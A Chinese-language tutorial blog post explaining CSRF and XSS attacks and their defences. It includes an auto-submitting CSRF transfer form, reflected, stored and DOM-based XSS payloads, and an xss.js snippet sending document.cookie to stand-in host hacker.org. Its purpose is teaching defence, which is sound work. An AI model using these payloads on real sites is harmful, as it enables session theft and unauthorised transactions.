CSRF攻击和XSS攻击

CSRF

CSRF,全称Cross-site request forgery(跨站请求伪造),其原理是利用用户的身份,执行非用户本身意愿的操作(隐式身份验证机制)。

形式

图片URL、超链接、Form提交等,也可以嵌入到第三方论坛、文章中等地方。

危害

攻击者可以盗用用户的身份,以用户的名义进行恶意操作,包括但不限于以用户的名义发送邮件、资金转账、网上等危害用户的操作

原理

CSRF攻击

假定受信的站点A是http://example.org,恶意站点B是http://hacker.org

  1. 用户访问并登陆http://example.org
  2. 站点A生成并返回Cookie给用户;
  3. 用户点击恶意网站Bhttp://hacker.org提供的图片链接< img src="http://example.org/transfer?amount=10&for=hacker">(或者包含该图片的链接地址),如果此时站点A的Cookie未过期,那么浏览器就会带上Cookie并向站点A发起http://example.org?amount=10&for=hacker请求;
  4. 由于发起请求带有用户的Cookie,站点A通过授信并进行相关的操作,造成相关损失。

上面使用的是通过GET请求冒用用户发起请求,不仅GET请求,POST也没法防止CSRF攻击,下面是一个自动提交表单的CSRF攻击。

<form action="http://example.org/transfer" method="POST">
    <input type="hidden" name="amount" value="10">
    <input type="hidden" name="for" value="hacker">
</form>
<script>document.forms[0].submit()</script>

用户在打开这个页面后,该表单请求会自动提交,相当于用户自己进行了一次POST请求。

防御

1.验证码

最有效的防御方法

CSRF的原理是在用户毫不知情的情况下发起了网络请求,而验证码强制用户要与应用进行交互,才能提交请求。
但处处使用验证码对于用户来说是一件体验很差的事情。

2.检验请求头部Refer字段

Refer用来记录该HTTP请求的来源地址

通过Refer可以保证用户的请求来自我们相信的页面地址。但是,Refer字段是由用户浏览器提供的,不同的浏览器实现各有差异,并且有些浏览器处于保护用户隐私,并不会发送Rfer字段。
因此使用Refer字段来防御CSRF有一定的限制,但从该字段可以用来监控CSRF攻击的发生。

3.CSRF Token

CSRF之所以能够成功,是因为攻击者知道攻击所需要的所有参数,因此能够构造完整请求,因此服务器会把攻击者的请求误认为是用户发起的请求。
那么如果每次请求都让用户带上一个攻击者无法获取到的随机数,那么攻击者就无法构造完全的请求,服务器也能将攻击者的请求和用户的请求给区分开,这就是CSRF Token

CSRF Token的过程:

  1. 服务器生成随机数Token(该随机数生成方法要足够安全),并将该随机Token保存在用户Session(或Cookie中);
  2. 同时,服务器在生成表单提交页面的同时,需要将改Token嵌入到表单DOM(通常作为一个隐藏的input标签值,如<input type="hidden" name="_csrf_token" value="xxxx">)中;
  3. 用户在提交表单时,该Token会随着表单数据一起提交到服务器,服务器检测提交的Token是否与用户Session(或Cookie)中的是否一致,如果不一致或者为空,则表示非法请求;否则认为是一个合法请求。

由于攻击者得到该随机Token,因此无法构造完整请求,所以可以用来防止CSRF攻击。但是如果网站存在XSS攻击,那么该防范方法会失效,因为攻击者可以获取到用户的Cookie,从而构造完成的请求,这个过程称为XSRF。使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以Form或AJAX形式提交,避免Token泄露。

CSRF是代替用户完成指定的动作,不直接窃取用户数据,而是代替用户发起请求,但需要知道其他用户页面的代码和数据包。

XSS攻击

XSS, 全称是Cross site script,即跨站脚本,为了避免与CSS,因此简称XSS

形式

利用网站对用户输入没有进行限制或过滤,从而在页面中嵌入某些代码,当别的用法访问到该网页时,会执行对应的代码,从而使得攻击者可以获取

危害

由于Cookie已经被攻击者获取,因此攻击可以登录账号,进行相关操作,如更改信息、转账、删除数据等敏感操作。

原理

主要原因:太过于信任用户的输入

反射型XSS攻击

最常见的XSS请求攻击,将XSS攻击代码放在链接上,由用户点击触发使服务器返回XSS攻击代码,并在客户端执行,从而发起Web攻击。

反射型XSS攻击

http://example.org?search=hello,world
对于该请求,服务器会将hello,world回显到页面中返回给客户端,客户端会显示hello,world

http://example.org?search=<script>alter('I get you!')</script>
对于该请求,如果服务器对输入没有进行任何处理,那么对于,那么js代码<script>alter('I get you!')</script>会嵌入到页面中,客户端再渲染页面的时候回执行该js代码,并弹出alter框。

http://example.org?search=<script>src='http://hacker.com/xss.js'</script>

//xss.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://hacker.org/xss?cookie='+encodeURIComponent(document.cookie);

这样将用户在点击上述连接的时候,浏览器会自动引入xss.js文件,并执行其中js语句,里面的js语句会读取用户Cookie,并将其作为参数访问Get请求的页面,然后Cookie就会发送给攻击者。

存储型XSS攻击

与发射型不同的是,存储型XSS攻击的攻击代码是存在在网站数据库,当包含该攻击代码的页面被用户打开时,该脚本会自动运行,将打开该网页的所有用户的Cookie发送给攻击者。

存储型XSS攻击

假设有一个论坛允许用户留言并且对用户的输入不进行处理,那么攻击者在该网站的某个帖子下面留以下信息。

哈哈哈,有趣有趣
<script>src='http://hacker.com/xss.js'</script>

网站将该留言存储到数据库,那么之后每个在访问包含上述留言的用户的Cookie都会被发往攻击者。

Dom Based XSS

这种类型的攻击与反射型有点类似,区别在于用户的输入并不是由服务器来返回,主要是由客户端通过DOM动态的输出数据到页面,从客户端获得DOM的数据在本地执行。

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>

该页面中的某些数据是从URL中解析的,比如下面的一个请求http://hacker.org/welcome.html?name=<script>src='http://hacker.com/xss.js'</script>。用户在点击这个请求的时候,本地浏览器回从URL中获取name属性并填充到HTML中,从而引起XSS攻击。

防御

主要解决方案:不信任用户输入的所有数据

  1. 设置Cookie的属性为Http only,这样js就无法获取Cookie值;
  2. 严格检查表单提交的类型,并且后端服务一定要做,不能信任前段的数据;
  3. 对用户提交的数据就行Html encode处理,将其转化为HTML实体字符的普通文本;
  4. 过滤或移除特殊的HTML标签,如<script><iframe>等;
  5. 过滤js事件的标签,如onclick=onfoucs=等、

Refer

  1. 白帽子讲Web安全(纪念版)
  2. 浅谈CSRF攻击方式
  3. Web安全相关(二):跨站请求伪造(CSRF/XSRF)
  4. CSRF 攻击的应对之道
  5. XSS跨站脚本攻击
  6. 【web安全】第一弹:利用xss注入获取cookie
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,456评论 5 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,370评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,337评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,583评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,596评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,572评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,936评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,595评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,850评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,601评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,685评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,371评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,951评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,934评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,167评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,636评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,411评论 2 342